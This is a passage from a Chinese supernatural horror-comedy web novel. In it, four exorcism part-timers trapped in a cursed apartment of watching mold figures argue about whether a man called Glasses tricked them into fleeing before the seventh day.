“大门的钥匙已经拿到了——啧、喂!这个灯光到底是怎么回事?”光头则是先对她们晃了晃手里的钥匙。 “为了干扰我们的视觉吧,应该是已经有些霉菌钻进了墙体里面——”而麻里则是强打起了精神,飞快地和两人交底了之前和玛利亚的猜测—— 被看到就无法移动的霉菌群、眼镜很明显,在打着引导他们达成某种‘条件’的打算,还有玛利亚应该是被袭击了,却因为某种条件没有达成,平安无事的事情。 光头明显无心思考,冲进自己房间拿上重要物品的同时还疑惑地啊了一声:“这些我们都知道了!” “嗯?” “那小子说到底还是个人类,断了两根肋、反正,既然怕死还敢搞这种手段。” 光头冷笑一声,本来想嘲笑眼镜那家伙的软骨头行为的,但看了玛利亚一眼,最后还是隐去了殴打细节,把眼镜‘招供’的事情,跟玛利亚她们一股脑倒了出来。 这家伙其实是上一批次过来除灵的协助人员。 “……果然除灵失败了?” “不,大体上应该是除灵成功了,但是好像留下了不妙的诅咒,也不知道他们当时发生了什么事情。” 第一批初灵的人,在各回各家之后才发现了诅咒,然后顺着某种特定的顺序一个个死了。 而眼镜碰巧是当时最早被诅咒的一个,所以活到了现在,他想办法搞定了屋主——说到这里光头语气顿了顿。 但就算不细说,在场的几人也知道,那个‘搞定’应该不会是什么好手段。 总之,在这一路上眼镜发现了某种咒杀的规律——诅咒会先杀死最后被诅咒的人。所以他就打算私自招募第二伙倒霉蛋,进来给自己当垫背,重新拉长这个‘倒序咒杀’的队伍序列。 神父说话里还有些悻悻然:“要是待到了第七天我们就……”他以手在自己脖子上比划了一下,“这个灯光实在是……”然后就又被闪烁的灯光晃瞎了眼睛。 反而是麻里姐思考了片刻,判断十分果断:“我们先去把灯都关上吧,不,用电闸,把这层照明相关的电闸关上。” “哈?”光头露出了你是不是有毛病的表情,“关灯的话,会被那些东西追杀吧。” “对方不能动的基础在于‘视线’,不是光亮,这么晃眼睛的话,不管是眼睛还是摄像头都是没法适应,会没法‘观测’的,而且一般安全类的监控录像有独立电源,断电也不影响。”麻里揉着自己眼里的生理性泪水,眼睛都快睁不开了,“——相信我!”没有时间仔细劝说了。 那边三个大人一边说着一边忙碌。 反而是不需要收拾东西的玛利亚站在走廊上迟疑了起来。 她举手说起了自己的意见:“我……可以待到七天再走吗?” 神父、麻里、还有光头都飞快看向了她,几个大人皱起了眉头。 “我答应了雇主,也收了钱,说是要‘清理’掉这里所有不对劲的东西的。”这么说着的时候,就连玛利亚也不知道自己是怎么回事——本该凝固的、后脑的伤口重新产生了剧烈的痛觉。 陌生的不适感让玛利亚皱起了眉头,搞不清楚名头的焦躁感涌上脑袋,几乎要占据了她全部的思考模式。 光头超级大声地哈了一声:“都说了,没有这个所谓的‘雇主’!这些钱只是那眼镜仔拿来骗我们入伙的!”他叹了一口气,已经用力踹上被锁的电箱门,试图操作照明的电闸。 [因为金钱的交易已经成立了嘛,真没办法……就帮你……] 事实上就连玛利亚也有些惊讶——她睁着眼睛,脑袋里已经一瞬间弹出了反驳,但这话却像是从自己都不记得的记忆里挤出来一样。 虽然没有紧迫感,但对忘掉的过去的好奇从来没有如此强烈过。 “……”但玛利亚眨了眨眼,还是没把这句话说出口,只是转而说起了另外一件事情,也是她和麻里共同的疑惑,“总感觉不太对劲。” 察觉到她的态度变化,神父语气带着安抚:“没有恐惧心的人也会瞻前顾后吗?玛利亚酱。” “只是‘感觉’得告诉你们才对,上次也是,因为没有提前把想法说出来,结果还需要道歉……”虽然她现在仍旧没太能明白……自己和他人那种细微的心态差异,为什么能让三个‘前辈’这样暴跳如雷。 他们害怕他们的,她不害怕,为什么会是问题呢? 但以理智判断,又一次‘等到别人询问再开口’肯定是错误选项。 “——事情、真相得到的太顺利了,而且这样的话,不是有些自相矛盾吗?” 眼镜想引导他们去做某种符合‘咒杀规则’的事情,为此,这个家伙制造了那么复杂的计划,投入了大量的金钱和时间。 但只是被揍了一下,就轻易的放弃了。 “断了几根肋骨和腿骨……应该不算是‘只是被揍一下’噢,玛利亚酱。” “但是白天被我们怀疑的时候,眼镜几乎没有反抗呢……”他当时简直像是被发现之后,故意要说一些增加自己疑点的话一样,“而且出去真的就可以远离危险吗?” ‘那些东西不会逃到外面’——这说法不也是眼镜自己说的吗。 按理说也可能只是谎言吧。 “搞不好他是良心发现了,毕竟放任他人去死是会在心里留下伤口的。”神父语气倒是很乐观,不过,这话更可能是在安慰自己,“就像是虽然努力躲藏,但是潜意识期待自己被发现的杀人犯一样,这种事情并不罕见。” ……毕竟恐惧会让人放弃思考。 神父并不是不知道‘存在另一种谜底’的可能性,而是太期待‘这个简单的解法就是出路’了。 这层的灯完全灭了下来。 破坏了电箱,而光头从电箱里抬头,抓了抓自己光溜溜的头皮:“明白了明白了——总之,就是有说不通的事情,你是这个意思吧。”他把手套甩到一边,“——有什么依据吗?” “直觉。”玛利亚理直气壮。 “啧,算了。” “……嗯?”玛利亚只有疑惑,但她下一句话还没冒出来,就已经被这个大只佬扛在了肩膀上。 一个硕大的问号从玛利亚的头顶上冒了出来。 可能是因为被满是肌肉的肩膀一下子顶-到,玛利亚觉得自己的心口热辣辣的。 麻里姐明显也有疑惑,但她却不打算多想:“玛利亚、‘灰色’的很多事情本身就说不通。” “不,我不是说这里的‘真相’——我认为说不通的是眼镜。”他做的事情不符合逻辑。 光头啧了一声:“好了好了好了,这些事情就等离开我们再慢慢讨论你之后要雇佣一个私家侦探来帮你推理都可以、” 以为那是同意自己留下的意思,玛利亚露出笑容:“啊,说起来我认识一个自称关东的名侦探工O新一来着……”她举起食指,如果需要私家侦探的时候就可以找他吧?毕竟不需要花钱。 “不,我的意思是你现在先闭嘴。” “啊。”这下玛利亚听懂了。 然后玛利亚的毫无求生欲终于上线:“那这样的话,闭嘴之前我还想说……”把她放在这里也没问题、 但这话也没说完。 “玛利亚酱,你现在只是因为没有恐惧心,不明白事情的轻重缓急所以做了错误判断。”神父退了一步,“这样吧,出去之后你要是想重新进来,就是玛利亚酱自己的选择。”他语气难得的强硬,“——但我们还不是能允许自己,放任判断能力缺失的未成年留在这种地方的人。” 神父他——也即是西山优吾咳嗽了一声。 “在这行本身就难以维持价值观的稳固,真这么做的话……我不想做噩梦。” 本来想反驳什么。 但那也被光头打消了:“够了,你这家伙本身就没有记忆,常识连初中生都不如,剥夺发言权。” 而被迫同意一起离开的玛利亚,终于从米袋姿势解放了出来。 她踩上地板。 四人出发了。 * 另一边,地下室里。 眼镜像是感觉到了什么,抬起了头。 他之前还因为‘受伤’而蜷缩的肢体伸直了——像是断掉的骨头根本不影响行动一样,眼镜若无其事地扶着墙壁,拖着歪斜的断腿站了起来。 这家伙看向了墙壁,像是听着墙里面只有他能听到的声音。 声音从眼镜的声带里挤出,带着点诡异的柔和:“嗯。”他点了点头,“不用害怕。” 他以后脑对着进入地下室的走廊,因而从外面,根本看不到眼镜的表情——只能听到他轻柔的安抚声音。 “很快……就可以出去了。” * 关灯的楼层漆黑一片,视线逐渐适应了黑暗。四人的逃亡顺序很简单,从二楼去往一楼,开门,跑路。 因为大家都‘注视’着黑暗中可疑的身影,所以,没有出现像玛利亚之前那样,被‘霉菌蒙蔽双眼’的事态。 ……不。 这种过分乐观的话说早了。 当几个人踏入楼梯间的时候,可能是因为视线的狭窄,他们还是免不了陷入了一片完全的漆黑。 除了身边前后一米左右还被微弱的光照亮之外,其它的方位都陷入了一片漆黑,简直想是鬼遮眼一样。 几人当然知道这种现象里,有些‘不对劲’的部分——但之前听了玛利亚的描述,大家都放弃了深究。 毕竟有的时候,‘知道真相’并不能解决问题,只会徒增烦恼。 但乐观没用,因为一片漆黑……玛利亚就砰地一声脸着地地摔在了地上。 漆黑一片里,她走在最后摔得无声无息。 而虽然头衔过长且含水率超高,训诫僧还是马上发现了用脸清理地板的玛利亚,他倒对得起自己的肌肉。 光头肌肉男第一时间就回头,把玛利亚捞了起来,把她像个金毛小鸡崽一样背在了自己的背上:“喂!清醒一点!没晕过去吧!?” 他和玛利亚完全就是超级‘健康’的互相折磨关系,为了让玛利亚清醒一点,光头背着人的时候,顺手就把玛利亚的脸掐成了一团甜甜圈面团。 玛利亚半边脸跟智齿发炎一样肿了起来,但确实提神醒脑,她忍不住甩了甩自己脑袋清醒过来—— 玛利亚还来不及说话,她就发现光头差点带着自己跑着撞上墙壁。 所以她连忙在被背着的同时,直接伸-出双手扶着光头脑袋,扒开了他的眼皮。 因为脸肿了,她有些不太能控制自己的口齿:“光头响(桑)千万不要劈(闭)向(上)眼睛,在这里劈向(闭上)眼睛的话会永远劈向(闭上)眼睛的——!” “我已经要闭上眼睛了!”感觉就算活下去也会得干眼症,光头脖子和头顶都冒起了青筋,好像下一秒就会因为高血压而昏迷过去。 而旁边跑着的神父优吾叔直接把黑色的长袍绑在了腰上,有些滑稽地、三步并做两步下楼,这会儿还不往搭腔:“这么认真的时候,你们两个就不要玩了好吗!?” “谁在玩啊!?/我可是很认真的。”玛利光头号异口同声。 只有麻里姐叹了口气,艰难跟在最后面:“……习惯就好了。” 已经懒得再研究如何在一片漆黑里快速前进,几人只能靠着右手边唯一能看清的地形标志物前进。他们摸着楼梯扶手飞速绕过一个圈,然后又一个圈,接着再一个拐角,一路飞速地下降。 而被背着的同时,玛利亚只感觉自己的心口发热。 ……难道这就是‘感动’和‘热血’的感觉? 她一边被背着一边下意识摸住了自己的心口。 “等等、”那边跑得上气不接下气的麻里姐却在一边前进的同时喘着气发现了盲点,“我们下了几层楼了?”她突然问。 光头跑在最前面:“两三层吧——嗯?” 只见黑暗的楼梯间里,此刻竟然只剩下了一片沉默的喘气声,他们根本不敢停下来,却免不了感觉到……血液和头脑一同冷了下来。 四人是从二楼出发的,逃生步骤只有去到一楼,出门这么简单的流程而已。 而从二楼到一楼,应该只有一来一回的一层楼梯才对。 往返式的楼梯,拐一次就应该到了一楼,最多再拐一次就可以看到门廊的公寓出口了。而地下室的楼梯是在门廊那边,不和公寓的主楼梯接着,根本没有走错的可能性。 那么。 他们此刻已经在黑暗中,顺着扶手拐了六次,也就是下了三层楼。 一减去三,应该是几楼? * 虽然陷入了完全的一片黑暗没错,但是,这个楼梯怎么没有尽头啊? 几人又向下拐了一个弯,还是没到一楼。 “……太紧张、记、记错了吧……!?” “呃、嗯……是、是吧??” 但黑暗中的扶手仍指示着继续往下的楼梯,一时间几人已经完全失去了对自身位置的估算。 他们现在到底是在几层? 还是说,所有人一齐都产生了幻觉? 该不会真往地狱去了吧。 但即便如此,三个大人(带一个玛利亚)根本不敢停下来,硬着头皮继续往下跑的同时,玛利亚能感觉到光头最先焦躁了起来。 眼前的情况让人一点思路都没有,所以光头直接大声嚷嚷,像是壮胆,又像是真的被吓到了一样怪起了玛利亚:“喂!不要在我背后点打火机啊,照明的话至少把那东西放在前面吧!” 这都不是背后的原因让人发暖了—— 背 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然后,摸着衣服内胆口袋的玛利亚终于察觉到了不对劲。 她好像摸到了什么超级不妙的东西 维持着一手摸口袋,在进行了短暂的(大约半秒)的头脑风暴、虽然更可能是什么都没想之后,她连忙以另一只手,单手反向比耶的涩谷辣妹手势,打算从头顶继续扒着光头的眼皮—— “都这种时候就不要再扯我的眼皮了,多眨两次眼睛就会死的话,我还不如现在就死掉算了!”光头的脑袋用力甩开了她的手。 因为没有头发,还有出汗,光头的头顶分外光滑。 玛利亚的空闲手啪叽一声就被甩开了。 而她也已经摸进了登山冲锋衣的内胆里,顺着热源,摸到了一个烫手的东西。 在把那玩意儿摸出来之后…… 玛利亚愣住了。 只见此刻出现在玛利亚手里的,是一个散发着柔和白光的印刷产品——福泽谕吉(*一万元人像)像是被某种朦胧的圣光笼罩一样,亮起了奇异的白色焰火。 超——级神圣的。 焰火呈一条线的姿势从纸张的一头烧往另一头,火焰直接烧过了玛利亚的手,但她看着被火焰包围的手心,只觉得手心发热,根本没有感觉到痛感。 是痛觉神经也坏掉了? 玛利亚用舌头顶了顶自己半边肿起来的馒头脸,嘶地一声确认了,好像不是这么回事。 眼前的场面……简直就像……这火焰并不存在,只是一种视网膜上的错觉似的。 于是玛利亚下意识搓了搓那堆钞票。 只见,随着他们又拐过一个弯,之前被烧过的那张‘纸钞’,已经像是被某个不能提及的紫色外星人打过响指一样,化成了无法追溯的黑色飞灰了。 然后是下一张,也点燃了起来。 “……” 更正。 不是错觉。 诶…… ——不是错觉!!!???? 察觉这光亮的源头就是自己被点燃的现金余额,金发棕眼的笨蛋短暂陷入了某种宕机状态。 而与此同时,在玛利亚拿出神圣的白色圣光(以钞票为燃料)的瞬间,周围的环境也被那白色焰火照亮了——三个飞快前进的成年人都发现了周围的情况。 点状的光源照亮了一个球形的区域,周遭亮起来了。 而随着‘看见’这一行为的发生,周围的‘东西’也不得不停了下来。 除了宕机的玛利亚之外,三人都发现了自己周边此刻……该用拥挤、还是人山人海来形容呢? 狭窄的楼梯间里,密密麻麻、带着霉味的身影在几人的周遭被照了出来,像是某种空洞的3d人体模型群,一瞬间被凝固在了此处。 简而言之——就是他们挤在人群中下楼,但周围的‘人群’全是黑色的霉菌服装模特(还会动)的意思。 四人脚步没停。 但每下一层,四个人都能看到,同样的楼梯拐角,同样的身影包围着他们……那些等着几人的黑色霉斑身影只在几人转身的瞬间出现轻微的姿态变化。 而不信邪的四个人,只是路过了它们一次、一次……接着又是一次。 光头赶忙刹车。 他们在半秒内就搞懂了这个状况——简单来说。 完蛋了。 * 三个大人叫了起来。 玛利亚也在无声尖叫。 ……但他们的原因截然不同。 这是三个大人:这不是从一开始就被霉菌包围着吗!!??? 这是玛利亚:钞票、钞票……燃起来了! “啊啊啊啊啊——!”x4 四个人都露出呐喊脸。 * 在原地动弹不得,崩溃下的玛利亚直接把最后三四张一万日元纸钞团吧团吧握在了手心里,双拳把住了脑袋,已经像是被鬼附身一样吐-出了灵魂。 毫无‘求生欲’的心声顺着嘴里飘出的灰白色灵魂一道,变成了念经一样的环绕音。 “我都说了我真的不要出去了这果然是拿了钱不做事的报应而且对方都跟达摩先生摔倒了一样玩起一二三木头人了没决出胜负就跑掉简直就像是被眼镜故意吓跑脱离比赛一样违反规定的家伙绝对会倒大霉的啦……” 而随着她嘴里飘出的魂魄和无意识,不知道什么原因——实现了。 玛利亚如同絮叨一样的想法。 眼前楼梯间的画面像是电视信号混乱一样出现了波动,楼梯间的风景和走廊混在了一起,然后左右黑色人影像是被擦除一样消失,接着风景被完整替换。 周遭的环境一瞬间就变成了靠近大门的走廊。 与此同时,玛利亚手里的最后几张钞票一齐‘燃烧’了起来。 但情况并不如三个大人期待那样发展,走廊像是衔尾蛇一样开始了无限延长……可以预见,无论他们如何卖力奔跑,都绝对无法实现‘到达门口’这一真实。 但顾不上这个,背着玛利亚的光头男——永野薰(是的,‘薰’)已经拽着飘在半空中的灵魂,把它重新塞回了玛利亚的嘴里,他抓着玛利亚的下巴,让她闭上嘴巴咕咚一声把灵魂吞下肚里。 “喂、再说一遍。”光头凶巴巴地叫住玛利亚。 意识回到玛利亚的眼里,但她在看到燃起来的钞票的片刻已经又、 “不准逃避现实——喂、玛利亚,你刚才说的那个,再说一遍。” 麻里姐弯腰扶着腿,气喘吁吁:“太长了,玛利亚还没有断句,我都没听清楚她在说什么……” 而记不清楚自己具体说了什么,就跟数数被突然打断一样,玛利亚只能从一开始重新开始嘀咕。 “收了钱必须得办事……?”是这句吗? “不是!” “玩一二三木头人必须要等游戏结束不能跑掉?”这个? “啧、”筋肉薰脑袋上已经冒起了青筋,直切主题,“——就是你说‘那个眼镜想把我们吓跑’那里!” ……那是什么意思? * 不过总而言之。 这是毫无恐惧感的笨蛋,才能保持理智意识到的意图——将吸血鬼邀请进来的‘咒语’。 他为什么这么想要把我们吓走啊? 三天之前,玛利亚看着故弄玄虚的眼镜,毫无紧张感地诶了一声。 11. 凶宅获取5 黑暗中,谁也无法注视的角落里……无数细小的声音组合在了一起。 在这成千上万的声音里——几乎所有的声音都非常原始而简单。 就像是非此即彼的0/1程序编码一样。 只有生存与饥饿的声音,甚至称不上语言。 但无数的本能之声集合在了一起,也许是巧合——那些再简单不过的,属于生命的单纯0/1产生了力量,形成了思考,构成了语言。 ‘准备好了吗?’/‘准备好了吗?’/‘可以开始了吗?’ 无数的声音相互呼应。 ‘达摩先生摔倒了!’/‘达摩先生摔倒了!’/‘达摩先生摔倒了!’(*日本的一二三木头人游戏) 它们重复。 ‘要遵守约定噢?’/‘不可以违背。’/‘遵守规则吧。’/‘毕竟是代价。’ 互相警告。 ‘大家——’ 要记住约定噢。 ‘违背约定的话……’ ‘嗯。’/‘知道了。’/‘明白了。’/‘毕竟就是这样约好的嘛。’ ——就没法得到身体了。 * 这是工作开始的第四天。 此刻是入夜之后的凌晨2两点——玛利亚、光头桑、神父优吾还有麻里姐四个人站在走廊上。 出于某种特殊的原因。 公寓楼已经出现了令人讶异的变化。 往下的楼梯无限循环,而这会儿他们站在一楼通往大门的走廊里——却发现走廊在自己的前方不停延展。 这公寓变成了一个走不出去的莫比乌斯环。 而虽然所有人对这一意象都有太多想要问的问题,但目前还有另外一个问题需要玛利亚回答。 光头把玛利亚放了下来:“你说的‘那个眼镜想把我们吓跑’……是什么意思?” “嗯?”玛利亚没太明白。 神父优吾叔跑得慢一些,他停了下来,明显对这种看不到头的走廊非常警惕——他把颈间套着的十字架拿了出来握在手里。 优吾叔有些慌张地催促:“喂、在这里的话会被追上的。”他明显没有什么心思多放任他们商量。 反倒是麻里姐露出了思索的模样。 “反正只要我们盯着看的话,那些霉斑就‘不能’移动吧。”她驳回了神父的催促。 “可是……” “反正现在走廊是那样,我们跑不出去的。”麻里姐示意神父先不要茫然地逃跑、这样只会浪费体力,然后她看向玛利亚,“玛利亚……我也有点好奇你之前说的那句话。” ……眼镜想把他们吓跑? 而玛利亚歪着脑袋思考了片刻:“因为……他不是从一开始就很喜欢吓人吗?” 仔细想来的话。 从第一天开始——比起几人在楼里面看到、听到的,会让人觉得‘诡异’的要素。 玛利亚感觉,这楼里‘不对劲’的地方,几乎都是从眼镜的嘴里、还有表现里说出来的。 就像是眼镜试图把这个‘这里很诡异’‘工作有诈’的概念强制塞进他们的脑袋一样。 而因为玛利亚完全无法消化这种情绪。 ——这里诡异之处里的‘刻意’,对玛利亚来说就像是吞下了异物一样显眼。 “假设,确实由光头桑所说……”顶着一头乱糟糟的金发,一边脸还是肿的玛利亚举起食指。 她下一秒就差点又被揍了脑袋,不过考虑到这会儿不能浪费时间,‘光头桑’只是单纯在生气嚷嚷。 “——你明明就知道我的名字!” 咳咳。 首先,假设眼镜的目的确实是【让他们陷害为咒杀的替身】—— 那么,为了达到这个目的,他最应该做的事情是什么呢? 麻里姐沉默片刻,举起了几根手指:“不外乎就是让我们留够7天,然后多和诅咒接触吧。” 要做到这种事太简单了,只需要三步。 一、让所有人都觉得这个工作很简单和安全,让所有人待满7天。 在七天内,最大限度的维持住所有人的‘安全感’。 二、尽可能制造他们‘不能’,或是‘不想’离开这里的理由。 三、尽可能的增多他们沾染上的诅咒。 * 但眼镜做的事情好像基本上……与它完全相反。 想想第一天的清洁吧。 他明显不急于清理这里的东西——明明他有之前的经验,应该知道灯泡会老化、事态会出现失控,出现突然关灯的情况。 如果想要别人不要害怕的话。 正确的做法——是应该尽早把这种事情和盘托出,因为几个倒霉蛋越是了解这背后的原理,就越会对这种现象习以为常。 就像是教小孩一样。 ‘这些东西会因为目视而无法移动,所以我们要尽量维持灯光亮起,啊、它们会造成灯泡老化和开关失灵,所以遇到的时候只要这样、那样处理就行了。’ 和 ‘必须维持灯光亮起,确保所有的灯都是打开的。’ 这两种说明方式会带来截然不同的心理压力。 因为知道得越少,听上去越神秘,听者就越容易产生猜疑——灯光关了会发生什么?为什么我们要确保所有的灯打开?有‘什么’会来关灯吗? 猜疑就会带来恐惧。 而这样的话…… “就完——全和眼镜表面上的目的相反了吧。”玛利亚语气低落,她还沉浸在手心的空虚里,她下意识张合着双手想要记住钞票的触感。 然后。 其他几个条目—— 不可以关门。 麻里姐已经明白了过来:“没有比这个更容易破坏人的安全、秩序感的方式了……就像是在说‘你必须生活在玻璃盒子里’一样。”她沉吟一声,“确实。” “而且开着门的话,也方便那些东西进来吧。”玛利亚思考了片刻,比出了飞行的手势,“睡觉的时候就会闭上眼睛了。” 那这么一说。 按照四个人清洁的时候的实际操作经验来说,先擦除霉斑的哪里好像……对结果根本没有什么影响。 “那眼镜非得嘱咐我们,让我们从脑袋、心口开始擦除,更像是要让人产生心理压力。” 而确认真名,则很明显为了加深和诅咒的联系。 一边希望他们留在这里。 一边给他们制造心理压力,逼他们产生想要逃亡的想法。 玛利亚双手抱胸:“而且我问他白天能不能出去的时候也是,除了警告我们不要出去和今天白天,说是已经锁门之外。” 简直就像是用劣质演技大声喊着:‘你们不要出去,千万不要出去,我真的很不希望你们出去’。 但实际上却用纸来糊门。 对于干灰色兼职的社会闲散人员来说。 光头发出了抗议的声音:“我可是大学生!” 所有人都露出了真的假的,我不相信的表情。 咳咳,总之…… 这种欲盖弥彰的规定,基本上就等同于‘你们想出去就出去吧’,‘请出去吧’…… 不是吗? 金发笨蛋嘀嘀咕咕:“还不如跟我们说,‘七天没满的时候就离开会被诅咒’呢。”这不是连骗人都不会骗了吗,要是说这种话的话,肯定不会有人想要冒险触霉头的。 她说得非常不走心。 但那边听着的人却都安静了下来。 * 玛利亚没等到回应,有些好奇地抬头——她得到的只有光头桑和麻里姐有些复杂的表情。 “嗯?” “你这家伙该不会……其实很聪明吧。”光头桑脸上全是不太想承认的挣-扎神情,肌肉男捂住了自己的嘴巴。 玛利亚眨了眨眼,花了两秒判断那应该算是夸奖还是贬低,虽然对玛利亚来说,这应该都算夸奖吧。 毕竟她只听自己喜欢听的部分。 所以玛利亚露出笑容:“我本来就很——” 但这话没说完,就被光头和麻里姐异口同声地打断了。 ——对于‘七天没满就离开会被诅咒’这种说法。 “眼镜不那么说,可能是因为他‘不能用这种理由恐吓我们’……”这是麻里的话。 而光头则是冷笑地哈了一声:“那家伙估计是不会这么说的。” 两个大人发现彼此的想法似乎一样,而旁边的神父则是带着狐疑,双手抱胸,歪着脑袋思考。 光头对麻里姐摆了摆手,示意她先说。 而那位灰色兼职的经验者这才握拳咳嗽了一声:“我想,眼镜没办法用‘七天不到就离开会有诅咒’这种理由恐吓我们,是因为……” 这句话,就是他不想告诉所有人的真话。 “他说了那么多谎言,要遮掩的就是这一点。” 麻里姐看向玛利亚:“……虽然我不太清楚诅咒生效的原理。” 毕竟那些霉菌到底是什么,它们要什么、在被‘袭击’之后到底会发生什么……几个人对此一概不知。 但他们能从‘眼镜’的行动里看出一些端倪。 看上去,眼镜很希望——大家在第七天到来之前,就离开公寓。 这可能就是那些霉菌能够对人造成‘未知的结果’,不管是咒杀还是什么的先决条件。 而这,恐怕就是为什么……那些霉斑的集群在走廊袭击了玛利亚,她却什么事都没有的原因。 而这也是为什么,眼镜如此轻易地就将自己知道的‘真相’合盘托出。 明明都打定主意要诅咒别人了。 却自顾自地卖出破绽,简直像是等着被拆穿一样。 然后又过分轻易交出了钥匙。 要将诅咒转移到他们身上的条件如此简单,但除了‘加深几人和诅咒的接触’之外,眼镜几乎都采取着相反的做法。 要不然就是他不够聪明。 要不然…… 光头肌肉男抓了抓自己的头皮:“这不是他的目的。”他疲惫地吐了一口浊气,“……恐怕,是因为靠自己的力量得出的答案更加可靠吧。” 让他们自己产生怀疑,然后自己通过暴力手段拿到‘逃生的钥匙’的话。 “……确实是会认为这就是正确的解法了吧。”麻里姐面色凝重地点了点头。 * 几个人都没有说话。 如果这种猜测属实的话,几人采取的逃跑行动就是自投罗网。 光头、麻里姐一时间不好决定该怎么行动。 神父西山优吾却对这一说法不买账:“……这也有说不通的地方吧!?” 他明显仍认为出逃才是正确的选项。 “首先,对霉菌的行动规律是真的的话。”如果他们提前离开会让诅咒生效的话,“……这些菌体根本不可能追上我们啊?” 室外的话,遮掩物更少不说,被注视、监控摄像头‘固定’的概率要高的多得多。 恐怕这也是眼镜当时脱口而出,那些霉菌不可能逃往公寓外面的原因吧。 都追不上的话,要怎么完成咒杀? “都说了,不一定是咒杀,可能是什么别的后果……” “那你倒说是什么?”明显是看到出口近在眼前却够不到,有些焦躁,神父优吾语气不大好,“玛利亚酱,既然你有感觉的话——你的直觉有告诉你吗!?” 玛利亚摇了摇头。 而光头和麻里也说不出话。 而且。 他说得信誓旦旦:“你们太低估心智和情绪对人的影响了——哪怕执行计划,也有因为后悔和迟疑,没有办法完成的人。” 而这不正是眼镜在这里的表现吗? “我们谁都不在眼镜的脑袋里,没人知道他撒没撒谎,而这些,说到底就只是你们的推理而已吧?” 他确实可能在计划着什么。 但这种对阴谋的推断建立在——眼镜非常聪明、冷静,他会非常坚定地执行自己的计划这一前提下。 只有这种人才会采取这种周密的心理操纵和筹划。 但同样的。 眼镜也可能只是个心存犹豫、不够果断、不太聪明的坏人而已。 那么,他可能确实就是策划了个简单的阴谋,然后被人发现,接下来发展成了现在这样。 所以…… 神父皱着眉头,举起了两根手指,现在存在两种猜想。 A- 待满七天,他们就会染上这里的诅咒。 B- 不待满七天就离开,才是诅咒的生效条件。 这两种选项,明显是A更符合逻辑。 而这是有原因的。 因为如果B属实的话…… “为什么是七天?为什么不是直接告诉我们三天、四天工作就结束了?这样的话我们不就在不知情的情况下完成诅咒了吗?” 因为焦急,神父的态度也不太好,他冷哼一声。 “不如说,我认为恰恰相反,诅咒生效的时间很可能只需要我们待上3、4天,他告诉我们待七天才会被诅咒,只是为了给我制造一个错误的终点而已。” 所以。 如果不早点离开,只想着没到7天就没事的话。 搞不好今天或是明天就已经会被咒杀了。 而对神父的问题,光头和麻里姐明显都陷入了犹豫。 只有玛利亚思考了片刻:“会不会是他必须这么告诉我们呢?比如,这就是诅咒传输的条件之类的……” “我不能说你说的不对,玛利亚酱,但是……如果你所说的B选项成立,他希望我们提前逃跑,然后让诅咒成立的话,那眼镜的目的就很可能不是咒杀我们。” ——这是根据之前说的,霉菌追不上他们来推断的。 霉菌搞不好直接会被固定在街面上,到时候到底要怎么样才能‘咒杀’这些跑到天涯海角的打工仔? 所以。 如果是B选项的话,其目的大概率不会是咒杀。 那么,如果不是为了将自己身上的诅咒转移到别人身上的话。 神父叹了口气,说着又将视线转向了光头。 “我和他都亲眼确认过,眼镜还是人类,不是幽灵、也不是咒灵、不是类人怪物、更没有被附身……” “——那么,如果不是为了给自己保命的话,他作为人类,干嘛要大费周章让我们沾上诅咒?如果是诅咒师,那他干得也太差劲了。” 是的。 动机呢? “而且。” 神父指着几人现在周遭的环境。 “……如果他希望我们逃离的话,为什么这个公寓会变成这样?” 神父优吾说的正是这探不到底的楼梯,还有跑不到头,无法够到大门的走廊。 事后想来的话。 这很可能是他们今晚产生的,最致命的一个误会。 神父优吾搞错了一件事。 “我勉强可以祛除附身的恶灵、而永野(光头)先生则是擅长实地探查灵和超度,玛利亚酱……虽然不知道你是怎么做到的,那个照明确实帮了大忙。” 但是这栋公寓明显在阻止他们离开。 “这肯定是眼镜干的吧,这可不是简单的技术,我看了眼镜,他不像是很厉害的灵能力者……肯定是下了血本。”优吾叔沉吟了片刻,做出了这种结论,“为了让我们不要离开这里。” 而既然他这么迫切地,下了血本想要把他们留下来。 那事实的真相又怎么可能,是眼镜想骗他们提前离开公寓呢。 而正是这个非常微小的误会,让之后的一系列事件发生了。 * 两厢僵持不下。 神父坚持认为逃出去才是正确选项,光头明显产生了摇摆,只有麻里还坚持着新的猜测。 玛利亚一开始就不想离开,所以是坚定的待满七天派。 但这样继续下去明显不是个办法。 思索了一阵之后,麻里唔了一声:“这样吧,我们再去找一次眼镜。”她在无形的分歧里站到了玛利亚旁边,“虽然也知道他不会说真话,但是至少看到他的反应和表情……我想自己判断。” 毕竟当时审问的时候麻里并不在场。 这次她想自己判断。 但这个法子最后还是破灭了—— 虽然不停延伸的走廊让几人无法靠近大门,但他们和地下室之间没有阻碍。 四个人确实到了地下室。 却发现。 眼镜不在了——地上连血都没有剩下,墙壁空空荡荡,就好像眼镜这家伙一开始就不在这里一样。 不仅如此。 那些墙壁上的霉斑也全都隐藏了起来。 “我们去楼上找找……”麻里很快给出了下个提议。 神父叹了口气,已经做出了往回走的姿态:“都说了,走吧。”他语气颓丧。 “这可能是个圈套,而且、事实上,我们还存在最简单的可以求证的方法……” 麻里不死心。 “这里发生的事情一定是‘第一次除灵’的后果。所以,只要我们想办法知道第一次除灵发生了什么事情,就能知道真相了……对了,优吾先生你不是认识灰色的中介吗?我们可以直接打电话让那 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他明显态度坚决,事情就这么定了。 玛利亚又问:“可是要怎么离开?”这是单纯的好奇。 楼梯和走廊都无法使用吧。 神父指着楼上的方向:“我刚刚确认过了,可以从二楼走廊扶手翻下来,只是一层楼高的话,护住脑袋问题就不大。” “啊。”玛利亚恍然大悟,这倒是她没想到的——因为说起‘离开’的时候,她脑袋里只有楼梯和走廊这种模糊的概念,不知道还有那么多种不同的解法。 * 于是…… 西山优吾出发了。 他们来到了二楼,计划是他先爬出去,从二楼跳下,然后玛利亚她们给他把行李扔下来。 “……玛利亚酱。”翻出围栏之前,神父还不死心地看着玛利亚,“真的不走吗?” 玛利亚晃了晃自己一头乱发的脑袋。 倒是旁边的麻里姐拍了拍玛利亚的肩膀:“这家伙明显还在期待干满七天的酬劳呢。”她明显是在开玩笑,算是为之前的剑拔弩张往回找补,缓和气氛。 但说到这个,玛利亚的身形却突然僵硬了。 几个大人都看向了她。 ——你真的在期待啊!??? “……眼镜搞不好不会再出现了,笨蛋。”光头哈了一声。 但说是‘搞不好’,其实应该是‘绝对不会再出现’了才对。 无条件乐观的笨蛋语气低沉了下去:“真的吗……” “不要用那种期待的目光看着我啊!” 不过气氛确实是缓和了下来。 